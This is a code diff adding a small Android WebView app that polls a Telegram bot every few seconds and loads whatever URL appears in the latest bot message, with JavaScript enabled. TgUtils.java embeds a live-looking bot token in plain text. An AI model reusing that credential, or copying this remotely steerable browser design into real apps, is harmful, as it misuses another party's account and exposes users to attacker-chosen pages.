+        android:supportsRtl="true"
+        android:theme="@style/Theme.WebApplication"
+        tools:targetApi="31">
+        <activity
+            android:name=".MainActivity"
+            android:exported="true"
+            android:label="@string/app_name">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+</manifest>

+ 37 - 0
webandroid/app/src/main/java/com/example/webapplication/MainActivity.java

@@ -0,0 +1,37 @@
+package com.example.webapplication;
+
+import android.os.Bundle;
+
+import com.google.android.material.bottomnavigation.BottomNavigationView;
+
+import androidx.appcompat.app.AppCompatActivity;
+import androidx.navigation.NavController;
+import androidx.navigation.Navigation;
+import androidx.navigation.ui.AppBarConfiguration;
+import androidx.navigation.ui.NavigationUI;
+
+import com.example.webapplication.databinding.ActivityMainBinding;
+
+public class MainActivity extends AppCompatActivity {
+
+    private ActivityMainBinding binding;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        binding = ActivityMainBinding.inflate(getLayoutInflater());
+        setContentView(binding.getRoot());
+
+        BottomNavigationView navView = findViewById(R.id.nav_view);
+        // Passing each menu ID as a set of Ids because each
+        // menu should be considered as top level destinations.
+        AppBarConfiguration appBarConfiguration = new AppBarConfiguration.Builder(
+                R.id.navigation_home, R.id.navigation_dashboard, R.id.navigation_notifications)
+                .build();
+        NavController navController = Navigation.findNavController(this, R.id.nav_host_fragment_activity_main);
+        NavigationUI.setupActionBarWithNavController(this, navController, appBarConfiguration);
+        NavigationUI.setupWithNavController(binding.navView, navController);
+    }
+
+}

+ 37 - 0
webandroid/app/src/main/java/com/example/webapplication/ui/dashboard/DashboardFragment.java

@@ -0,0 +1,37 @@
+package com.example.webapplication.ui.dashboard;
+
+import android.os.Bundle;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.TextView;
+
+import androidx.annotation.NonNull;
+import androidx.fragment.app.Fragment;
+import androidx.lifecycle.ViewModelProvider;
+
+import com.example.webapplication.databinding.FragmentDashboardBinding;
+
+public class DashboardFragment extends Fragment {
+
+    private FragmentDashboardBinding binding;
+
+    public View onCreateView(@NonNull LayoutInflater inflater,
+                             ViewGroup container, Bundle savedInstanceState) {
+        DashboardViewModel dashboardViewModel =
+                new ViewModelProvider(this).get(DashboardViewModel.class);
+
+        binding = FragmentDashboardBinding.inflate(inflater, container, false);
+        View root = binding.getRoot();
+
+        final TextView textView = binding.textDashboard;
+        dashboardViewModel.getText().observe(getViewLifecycleOwner(), textView::setText);
+        return root;
+    }
+
+    @Override
+    public void onDestroyView() {
+        super.onDestroyView();
+        binding = null;
+    }
+}

+ 19 - 0
webandroid/app/src/main/java/com/example/webapplication/ui/dashboard/DashboardViewModel.java

@@ -0,0 +1,19 @@
+package com.example.webapplication.ui.dashboard;
+
+import androidx.lifecycle.LiveData;
+import androidx.lifecycle.MutableLiveData;
+import androidx.lifecycle.ViewModel;
+
+public class DashboardViewModel extends ViewModel {
+
+    private final MutableLiveData<String> mText;
+
+    public DashboardViewModel() {
+        mText = new MutableLiveData<>();
+        mText.setValue("This is dashboard fragment");
+    }
+
+    public LiveData<String> getText() {
+        return mText;
+    }
+}

+ 165 - 0
webandroid/app/src/main/java/com/example/webapplication/ui/home/FyWebView.java

@@ -0,0 +1,165 @@
+package com.example.webapplication.ui.home;
+
+
+import static com.blankj.utilcode.util.ActivityUtils.startActivity;
+
+import android.annotation.SuppressLint;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.util.AttributeSet;
+import android.webkit.CookieManager;
+import android.webkit.WebChromeClient;
+import android.webkit.WebResourceRequest;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+import android.widget.LinearLayout;
+import android.widget.ProgressBar;
+
+import com.blankj.utilcode.util.StringUtils;
+import com.blankj.utilcode.util.Utils;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class FyWebView extends LinearLayout {
+    private WebView webView;
+    private ProgressBar progressBar;
+
+    public FyWebView(Context context) {
+        super(context);
+        init(context);
+    }
+
+    public FyWebView(Context context, AttributeSet attrs) {
+        super(context, attrs);
+        init(context);
+    }
+
+    public FyWebView(Context context, AttributeSet attrs, int defStyleAttr) {
+        super(context, attrs, defStyleAttr);
+        init(context);
+    }
+
+    public WebView getWebView() {
+        return webView;
+    }
+
+    public void setWebView(WebView webView) {
+        this.webView = webView;
+    }
+
+
+    public ProgressBar getProgressBar() {
+        return progressBar;
+    }
+
+    public void setProgressBar(ProgressBar progressBar) {
+        this.progressBar = progressBar;
+    }
+
+    @SuppressLint("SetJavaScriptEnabled")
+    private void init(Context context) {
+        setOrientation(VERTICAL);
+
+        progressBar = new ProgressBar(context, null, android.R.attr.progressBarStyleHorizontal);
+        progressBar.setLayoutParams(new LayoutParams(
+                LayoutParams.MATCH_PARENT,
+                LayoutParams.WRAP_CONTENT
+        ));
+        addView(progressBar);
+
+        webView = new WebView(context);
+        webView.setLayoutParams(new LayoutParams(
+                LayoutParams.MATCH_PARENT,
+                LayoutParams.MATCH_PARENT
+        ));
+        addView(webView);
+
+        webView.getSettings().setJavaScriptEnabled(true);
+        webView.getSettings().setDomStorageEnabled(true);
+
+
+        webView.setWebViewClient(new WebViewClient() {
+            @Override
+            public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
+                Uri uri = request.getUrl();
+                if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
+                    return false;
+                } else {
+                    Intent intent = new Intent(Intent.ACTION_VIEW, uri);
+                    if (intent.resolveActivity(Utils.getApp().getPackageManager()) != null) {
+                        startActivity(intent);
+                    }
+                    return true;
+                }
+            }
+
+            @Override
+            public boolean shouldOverrideUrlLoading(WebView view, String url) {
+                Uri uri = Uri.parse(url);
+                if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
+                    return false;
+                } else {
+                    Intent intent = new Intent(Intent.ACTION_VIEW, uri);
+                    if (intent.resolveActivity(Utils.getApp().getPackageManager()) != null) {
+                        startActivity(intent);
+                    }
+                    return true;
+                }
+            }
+
+        });
+
+        webView.setWebChromeClient(new WebChromeClient() {
+            @Override
+            public void onProgressChanged(WebView view, int newProgress) {
+                super.onProgressChanged(view, newProgress);
+                progressBar.setProgress(newProgress);
+                if (newProgress == 100) {
+                    progressBar.setVisibility(GONE);
+                } else {
+                    progressBar.setVisibility(VISIBLE);
+                }
+            }
+        });
+    }
+
+
+    public void loadUrl(String url, String lang) {
+        loadUrl(url, lang, null, null);
+    }
+
+    public void loadUrl(String url) {
+        loadUrl(url, "en", null, null);
+    }
+
+
+    public void loadUrl(String url, String lang, String token, String cookie) {
+        if (!StringUtils.isEmpty(url)) {
+            Map<String, String> headers = new HashMap<>();
+            if (!StringUtils.isEmpty(lang)) {
+                headers.put("lang", lang);
+            }
+            if (!StringUtils.isEmpty(token)) {
+                headers.put("Authorization", token);
+            }
+            if (!StringUtils.isEmpty(cookie)) {
+                CookieManager cookieManager = CookieManager.getInstance();
+                cookieManager.setAcceptCookie(true);
+                cookieManager.setCookie(url, cookie);
+            }
+            webView.loadUrl(url, headers);
+        }
+    }
+
+    @Override
+    protected void onDetachedFromWindow() {
+        super.onDetachedFromWindow();
+        if (webView != null) {
+            webView.stopLoading();
+            webView.destroy();
+        }
+    }
+}
+

+ 38 - 0
webandroid/app/src/main/java/com/example/webapplication/ui/home/HomeFragment.java

@@ -0,0 +1,38 @@
+package com.example.webapplication.ui.home;
+
+import android.os.Bundle;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.LinearLayout;
+
+import androidx.annotation.NonNull;
+import androidx.fragment.app.Fragment;
+import androidx.lifecycle.ViewModelProvider;
+
+import com.example.webapplication.databinding.FragmentHomeBinding;
+
+public class HomeFragment extends Fragment {
+    private FragmentHomeBinding binding;
+    private FyWebView webView;
+
+    public View onCreateView(@NonNull LayoutInflater inflater,
+                             ViewGroup container, Bundle savedInstanceState) {
+        HomeViewModel homeViewModel = new ViewModelProvider(this).get(HomeViewModel.class);
+        homeViewModel.getMsg();
+        binding = FragmentHomeBinding.inflate(inflater, container, false);
+        View root = binding.getRoot();
+        homeViewModel.getUrl().observe(getViewLifecycleOwner(), s -> webView.loadUrl(s));
+        webView = new FyWebView(getActivity());
+        binding.mainWeb.addView(webView, new LinearLayout.LayoutParams(LinearLayout.LayoutParams.MATCH_PARENT, LinearLayout.LayoutParams.MATCH_PARENT));
+        webView.loadUrl("https://news.cctv.com/2024/11/25/ARTIcokGmXUKJau14qvU8J7q241125.shtml?spm=C96370.PPDB2vhvSivD.E0O8qNryTckW.1");
+        return root;
+    }
+
+
+    @Override
+    public void onDestroyView() {
+        super.onDestroyView();
+        binding = null;
+    }
+}

+ 63 - 0
webandroid/app/src/main/java/com/example/webapplication/ui/home/HomeViewModel.java

@@ -0,0 +1,63 @@
+package com.example.webapplication.ui.home;
+
+import android.annotation.SuppressLint;
+import android.util.Log;
+
+import androidx.lifecycle.LiveData;
+import androidx.lifecycle.MutableLiveData;
+import androidx.lifecycle.ViewModel;
+
+import com.blankj.utilcode.util.SPUtils;
+import com.blankj.utilcode.util.StringUtils;
+import com.blankj.utilcode.util.ThreadUtils;
+import com.example.webapplication.util.TgUtils;
+
+import java.util.concurrent.TimeUnit;
+
+public class HomeViewModel extends ViewModel {
+
+    private final MutableLiveData<String> mUrl = new MutableLiveData<>();
+
+    public HomeViewModel() {
+    }
+
+
+    public LiveData<String> getUrl() {
+        return mUrl;
+    }
+
+    public void getMsg() {
+        networkListen();
+    }
+
+    public void networkListen() {
+        ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<String>() {
+            @Override
+            public String doInBackground() throws Throwable {
+                return new TgUtils().getUpdatesSync();
+            }
+
+            @SuppressLint("SetTextI18n")
+            @Override
+            public void onSuccess(String result) {
+                if (!StringUtils.isEmpty(result)) {
+                    SPUtils.getInstance().put("Message", result, true);
+                    String url = SPUtils.getInstance().getString("Message");
+                    mUrl.postValue(url);
+                }
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                Log.e("hzshkj", "onFail: ", t);
+                networkListen();
+            }
+
+            @Override
+            public void onCancel() {
+                networkListen();
+            }
+        }, 5000, 5000, TimeUnit.MILLISECONDS);
+
+    }
+}

+ 44 - 0
webandroid/app/src/main/java/com/example/webapplication/ui/notifications/NotificationsFragment.java

@@ -0,0 +1,44 @@
+package com.example.webapplication.ui.notifications;
+
+import android.os.Bundle;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+
+import androidx.annotation.NonNull;
+import androidx.fragment.app.Fragment;
+import androidx.lifecycle.ViewModelProvider;
+
+import com.blankj.utilcode.util.TimeUtils;
+import com.example.webapplication.databinding.FragmentNotificationsBinding;
+
+public class NotificationsFragment extends Fragment {
+
+    private FragmentNotificationsBinding binding;
+
+    public View onCreateView(@NonNull LayoutInflater inflater,
+                             ViewGroup container, Bundle savedInstanceState) {
+        NotificationsViewModel notificationsViewModel =
+                new ViewModelProvider(this).get(NotificationsViewModel.class);
+        notificationsViewModel.networkListen();
+        binding = FragmentNotificationsBinding.inflate(inflater, container, false);
+        View root = binding.getRoot();
+
+        notificationsViewModel.getSuccess().observe(getViewLifecycleOwner(), aBoolean -> {
+            String time = TimeUtils.date2String(TimeUtils.string2Date(TimeUtils.getNowString())) + " : ";
+            if (aBoolean) {
+                binding.textNotifications.append(time + "访问Tg接口,网络正常\n");
+            } else {
+                binding.textNotifications.append(time + notificationsViewModel.getError().getValue() + "\n");
+
+            }
+        });
+        return root;
+    }
+
+    @Override
+    public void onDestroyView() {
+        super.onDestroyView();
+        binding = null;
+    }
+}

+ 61 - 0
webandroid/app/src/main/java/com/example/webapplication/ui/notifications/NotificationsViewModel.java

@@ -0,0 +1,61 @@
+package com.example.webapplication.ui.notifications;
+
+import android.annotation.SuppressLint;
+import android.util.Log;
+
+import androidx.lifecycle.MutableLiveData;
+import androidx.lifecycle.ViewModel;
+
+import com.blankj.utilcode.util.ThreadUtils;
+import com.example.webapplication.util.TgUtils;
+
+import java.util.concurrent.TimeUnit;
+
+public class NotificationsViewModel extends ViewModel {
+
+    private final MutableLiveData<Boolean> success = new MutableLiveData<>();
+
+    public MutableLiveData<String> getError() {
+        return error;
+    }
+
+    private final MutableLiveData<String> error = new MutableLiveData<>();
+
+
+    public void networkListen() {
+        ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<String>() {
+            @Override
+            public String doInBackground() throws Throwable {
+                return new TgUtils().getUpdatesSync();
+            }
+
+            @SuppressLint("SetTextI18n")
+            @Override
+            public void onSuccess(String result) {
+                Log.d("hzshkj", "[NotificationsViewModel] onSuccess: "+result);
+                error.postValue(result);
+                success.postValue(true);
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                Log.d("hzshkj", "[NotificationsViewModel] onFail: "+t.getMessage());
+                success.postValue(false);
+                error.postValue(t.getMessage());
+                networkListen();
+            }
+
+            @Override
+            public void onCancel() {
+                success.postValue(false);
+                error.postValue("Task is cancel.");
+                networkListen();
+            }
+        }, 100, 10000, TimeUnit.MILLISECONDS);
+
+    }
+
+    public MutableLiveData<Boolean> getSuccess() {
+        return success;
+    }
+}

+ 94 - 0
webandroid/app/src/main/java/com/example/webapplication/util/TgUtils.java

@@ -0,0 +1,94 @@
+package com.example.webapplication.util;
+
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+
+import com.blankj.utilcode.util.SPUtils;
+import com.blankj.utilcode.util.StringUtils;
+
+import org.json.JSONArray;
+import org.json.JSONObject;
+
+import java.io.IOException;
+
+import okhttp3.Call;
+import okhttp3.Callback;
+import okhttp3.OkHttpClient;
+import okhttp3.Request;
+import okhttp3.Response;
+
+/**
+ * author: hx
+ * created on: 2024/11/25 11:31
+ * description:
+ */
+public class TgUtils {
+    private static final String BASE_URL = "https://api.telegram.org/bot7790802518:AAGmUCIdh-uogRuG4gElgxTG-yN7f0mGi7I/";
+    private OkHttpClient client = new OkHttpClient();
+
+    public void getUpdates() {
+        String url = BASE_URL + "getUpdates?offset=-1&limit=1";
+
+        Request request = new Request.Builder()
+                .url(url)
+                .build();
+
+        client.newCall(request).enqueue(new Callback() {
+            @Override
+            public void onFailure(@NonNull Call call, @NonNull IOException e) {
+                Log.e("hzshkj", "onFailure: ", e);
+            }
+
+            @Override
+            public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
+                if (response.isSuccessful()) {
+                    String jsonResponse = response.body().string();
+                    try {
+                        Log.d("hzshkj", "[TgUtils] onResponse: " + jsonResponse);
+                        JSONObject jsonObject = new JSONObject(jsonResponse);
+                        JSONArray resultArray = jsonObject.getJSONArray("result");
+
+                        for (int i = 0; i < resultArray.length(); i++) {
+                            JSONObject message = resultArray.getJSONObject(i).getJSONObject("message");
+                            String text = message.getString("text");
+                            int msgId = message.getInt("message_id");
+                            SPUtils.getInstance().put("Message", text);
+                            SPUtils.getInstance().put("MessageId", msgId);
+                        }
+                    } catch (Exception e) {
+                        Log.e("hzshkj", "onResponse: ", e);
+                    }
+                }
+            }
+        });
+    }
+
+    public String getUpdatesSync() throws Throwable {
+        String url = BASE_URL + "getUpdates?offset=-1&limit=1";
+        // 创建请求对象
+        Request request = new Request.Builder()
+                .url(url)
+                .build();
+        Response response = client.newCall(request).execute();
+        if (response.isSuccessful() && response.body() != null) {
+            String jsonResponse = response.body().string();
+            JSONObject jsonObject = new JSONObject(jsonResponse);
+            JSONArray resultArray = jsonObject.getJSONArray("result");
+            for (int i = 0; i < resultArray.length(); i++) {
+                JSONObject message = resultArray.getJSONObject(i).getJSONObject("message");
+                String text = message.getString("text");
+                if (StringUtils.equals(text, SPUtils.getInstance().getString("Message"))) {
+                    return "";
+                } else {
+                    return text;
+                }
+            }
+        } else {
+            Log.e("hzshkj", "Request Failed: " + (response.body() != null ? response.body().string() : "No response body"));
+        }
+
+        return "";
+    }
+
+}

+ 9 - 0
webandroid/app/src/main/res/drawable/ic_dashboard_black_24dp.xml

@@ -0,0 +1,9 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M3,13h8L11,3L3,3v10zM3,21h8v-6L3,15v6zM13,21h8L21,11h-8v10zM13,3v6h8L21,3h-8z" />
+</vector>

+ 9 - 0
webandroid/app/src/main/res/drawable/ic_home_black_24dp.xml

@@ -0,0 +1,9 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M10,20v-6h4v6h5v-8h3L12,3 2,12h3v8z" />
+</vector>

+ 170 - 0
webandroid/app/src/main/res/drawable/ic_launcher_background.xml

@@ -0,0 +1,170 @@
+<?xml version="1.0" encoding="utf-8"?>
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="108dp"
+    android:height="108dp"
+    android:viewportWidth="108"
+    android:viewportHeight="108">
+    <path
+        android:fillColor="#3DDC84"
+        android:pathData="M0,0h108v108h-108z" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M9,0L9,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,0L19,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M29,0L29,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M39,0L39,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M49,0L49,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M59,0L59,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M69,0L69,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M79,0L79,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M89,0L89,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M99,0L99,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,9L108,9"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,19L108,19"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,29L108,29"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,39L108,39"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,49L108,49"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,59L108,59"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,69L108,69"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,79L108,79"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,89L108,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,99L108,99"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,29L89,29"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,39L89,39"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,49L89,49"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,59L89,59"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,69L89,69"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,79L89,79"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M29,19L29,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M39,19L39,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M49,19L49,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M59,19L59,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M69,19L69,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M79,19L79,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+</vector>

+ 30 - 0
webandroid/app/src/main/res/drawable/ic_launcher_foreground.xml

@@ -0,0 +1,30 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:aapt="http://schemas.android.com/aapt"
+    android:width="108dp"
+    android:height="108dp"
+    android:viewportWidth="108"
+    android:viewportHeight="108">
+    <path android:pathData="M31,63.928c0,0 6.4,-11 12.1,-13.1c7.2,-2.6 26,-1.4 26,-1.4l38.1,38.1L107,108.928l-32,-1L31,63.928z">
+        <aapt:attr name="android:fillColor">
+            <gradient
+                android:endX="85.84757"
+                android:endY="92.4963"
+                android:startX="42.9492"
+                android:startY="49.59793"
+                android:type="linear">
+                <item
+                    android:color="#44000000"
+                    android:offset="0.0" />
+                <item
+                    android:color="#00000000"
+                    android:offset="1.0" />
+            </gradient>
+        </aapt:attr>
+    </path>
+    <path
+        android:fillColor="#FFFFFF"
+        android:fillType="nonZero"
+        android:pathData="M65.3,45.828l3.8,-6.6c0.2,-0.4 0.1,-0.9 -0.3,-1.1c-0.4,-0.2 -0.9,-0.1 -1.1,0.3l-3.9,6.7c-6.3,-2.8 -13.4,-2.8 -19.7,0l-3.9,-6.7c-0.2,-0.4 -0.7,-0.5 -1.1,-0.3C38.8,38.328 38.7,38.828 38.9,39.228l3.8,6.6C36.2,49.428 31.7,56.028 31,63.928h46C76.3,56.028 71.8,49.428 65.3,45.828zM43.4,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2c-0.3,-0.7 -0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C45.3,56.528 44.5,57.328 43.4,57.328L43.4,57.328zM64.6,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2s-0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C66.5,56.528 65.6,57.328 64.6,57.328L64.6,57.328z"
+        android:strokeWidth="1"
+        android:strokeColor="#00000000" />
+</vector>

+ 9 - 0
webandroid/app/src/main/res/drawable/ic_notifications_black_24dp.xml

@@ -0,0 +1,9 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M12,22c1.1,0 2,-0.9 2,-2h-4c0,1.1 0.89,2 2,2zM18,16v-5c0,-3.07 -1.64,-5.64 -4.5,-6.32L13.5,4c0,-0.83 -0.67,-1.5 -1.5,-1.5s-1.5,0.67 -1.5,1.5v0.68C7.63,5.36 6,7.92 6,11v5l-2,2v1h16v-1l-2,-2z" />
+</vector>

+ 32 - 0
webandroid/app/src/main/res/layout/activity_main.xml

@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    android:id="@+id/container"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <com.google.android.material.bottomnavigation.BottomNavigationView
+        android:id="@+id/nav_view"
+        android:layout_width="0dp"
+        android:layout_height="wrap_content"
+        android:layout_marginStart="0dp"
+        android:layout_marginEnd="0dp"
+        android:background="?android:attr/windowBackground"
+        app:layout_constraintBottom_toBottomOf="parent"
+        app:layout_constraintLeft_toLeftOf="parent"
+        app:layout_constraintRight_toRightOf="parent"
+        app:menu="@menu/bottom_nav_menu" />
+
+    <fragment
+        android:id="@+id/nav_host_fragment_activity_main"
+        android:name="androidx.navigation.fragment.NavHostFragment"
+        android:layout_width="0dp"
+        android:layout_height="0dp"
+        app:defaultNavHost="true"
+        app:layout_constraintBottom_toTopOf="@+id/nav_view"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintStart_toStartOf="parent"
+        app:layout_constraintTop_toTopOf="parent"
+        app:navGraph="@navigation/mobile_navigation" />
+
+</androidx.constraintlayout.widget.ConstraintLayout>

+ 22 - 0
webandroid/app/src/main/res/layout/fragment_dashboard.xml

@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    tools:context=".ui.dashboard.DashboardFragment">
+
+    <TextView
+        android:id="@+id/text_dashboard"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginStart="8dp"
+        android:layout_marginTop="8dp"
+        android:layout_marginEnd="8dp"
+        android:textAlignment="center"
+        android:textSize="20sp"
+        app:layout_constraintBottom_toBottomOf="parent"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintStart_toStartOf="parent"
+        app:layout_constraintTop_toTopOf="parent" />
+</androidx.constraintlayout.widget.ConstraintLayout>

+ 31 - 0
webandroid/app/src/main/res/layout/fragment_home.xml

@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    tools:context=".ui.home.HomeFragment">
+
+    <LinearLayout
+        android:id="@+id/mainWeb"
+        android:layout_width="match_parent"
+        android:layout_height="0dp"
+        android:orientation="vertical"
+        app:layout_constraintBottom_toTopOf="@+id/button"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintStart_toStartOf="parent"
+        app:layout_constraintTop_toTopOf="parent" />
+
+    <Button
+        android:id="@+id/button"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_margin="10dp"
+        android:text="@string/tg_bot"
+        android:visibility="gone"
+        app:layout_constraintBottom_toBottomOf="parent"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintStart_toStartOf="parent" />
+
+
+</androidx.constraintlayout.widget.ConstraintLayout>

+ 28 - 0
webandroid/app/src/main/res/layout/fragment_notifications.xml

@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:background="@color/black"
+    tools:context=".ui.notifications.NotificationsFragment">
+
+    <ScrollView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="8dp"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintStart_toStartOf="parent"
+        app:layout_constraintTop_toTopOf="parent">
+
+        <TextView
+            android:id="@+id/text_notifications"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:textAlignment="textStart"
+            android:textColor="#2EFF00"
+            android:textSize="13sp"
+            tools:text="111111" />
+    </ScrollView>
+
+</androidx.constraintlayout.widget.ConstraintLayout>

+ 19 - 0
webandroid/app/src/main/res/menu/bottom_nav_menu.xml

@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<menu xmlns:android="http://schemas.android.com/apk/res/android">
+
+    <item
+        android:id="@+id/navigation_home"
+        android:icon="@drawable/ic_home_black_24dp"
+        android:title="@string/title_home" />
+
+    <item
+        android:id="@+id/navigation_dashboard"
+        android:icon="@drawable/ic_dashboard_black_24dp"
